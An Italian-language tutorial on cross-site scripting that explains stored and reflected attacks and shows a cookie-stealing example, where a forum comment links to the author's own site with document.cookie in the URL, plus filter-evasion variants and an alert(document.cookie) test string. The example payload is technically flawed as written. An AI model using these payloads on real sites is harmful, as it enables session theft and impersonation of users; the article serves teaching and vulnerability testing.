Il cross site scripting, cui abbiamo dedicato un'ampia analisi qualche tempo fa, è un tipo di attacco che mira a modificare il contenuto di una pagina web per accedere a informazioni sensibili presenti nel browser dell'utente che visualizza la pagina. In un attacco Xss, uno dei possibili obiettivi dell'aggressore è quello di appropriarsi del cookie (o di qualunque altra informazione che contenga dati importanti per l' autenticazione dell'utente).
Esistono due tipi di attacchi Xss.
- Stored: l'aggressore modifica il contenuto di una pagina ,ad esempio inserendo lo script nocivo nella pagina di un blog o in un commento di un forum.
- Reflected: l' aggressore crea un Url appositamente studiato per compiere l'attacco , ad esempio un link che arriva sulla propria casella di posta nei messaggi di phishing.
La differenza tra i due tipo di attacchi Xss sta unicamente nel metodo in cui forniamo lo script al nostro bersaglio. Se nel primo tipo (stored) la modifica di una pagina visibile da più persone sottintende un ampio raggio di potenziali vittime, nel secondo tipo il bersaglio può essere più preciso.
L'attacco si basa su due tipici principi delle applicazioni web: il principio secondo cui le risorse dinamiche possono venire richiamate attraverso un url contenente dei parametri e il principio secondo cui, nativamente, il modello request/response prevede che la request invii parametri (o headers http) alla response senza effettuare un controllo (per esempio senza verificare che non sia contenuto codice pericoloso) e viceversa.
Vediamo un esempio di attacco xss (attacco cookie-stealing). Siamo in un forum dove è necessario essere autenticati per aggiungere commenti e contenuti. Creiamo un account e in un nostro commento digitiamo quanto segue:
<p>ciao a tutti!Guardate il mio nuovo sito!</p> <a href="http://www.miosito.sito/paginaaccesso.jsp?utente=<script>document.cookie</script>> </a>
A ogni click sul mio link, l'utente viene indirizzato sul mio sito.
L'utente, cliccando sul link che gli ho proposto, mi ha fornito gentilmente il cookie che gli permetteva di essere autenticato dal forum. Ciò significa che utilizzando quel cookie posso ora impersonare l'utente e accedere al suo profilo, ai suoi dati, alle sue funzionalità all'interno del forum.
Tramite l'utilizzo di codice javascript (in un attacco Xss) possiamo quindi accedere a:
- Cookie permanenti mantenuti dal browser
- Cookie temporanei mantenuti per la durata della sessione del browser
- Nomi delle finestre aperte dall'utente sul sito vulnerabile
- Informazioni riguardo al DOM (Document object model) della pagina (accessibile da javascript)
Identificazione, autenticazione e autorizzazione sono spesso legate ai cookie, da qui la facilità a impersonare la vittima di un attacco Xss andato a buon fine.
Esistono diverse varianti e pattern per gli attacchi Xss:
Se il sito target filtra i tag <script></script>, proviamo
<img src="javascript:...">
Se lo script nocivo è troppo lungo per inserirlo nell'url, proviamo
<script src="http://...">
In linea generale, per determinare se un sito è vulnerabile è sufficiente effettuare alcuni test non invasivi. Il primo metodo da testare è quello di iniettare la seguente stringa nell'url (o header http):
<script>alert(document.cookie)</script>
In ogni parametro per ogni script della propria applicazione web.
Se il sito è vulnerabile ci apparirà una belle finestrella di alert con il cookie. Se non dovessimo ottenere risultati al primo tentativo, possiamo testare il comportamento con script codificati (base 64, hex, ricordate?) e comunque sempre con la fantasia nella formattazione della stringa alla ricerca della vulnerabilità!
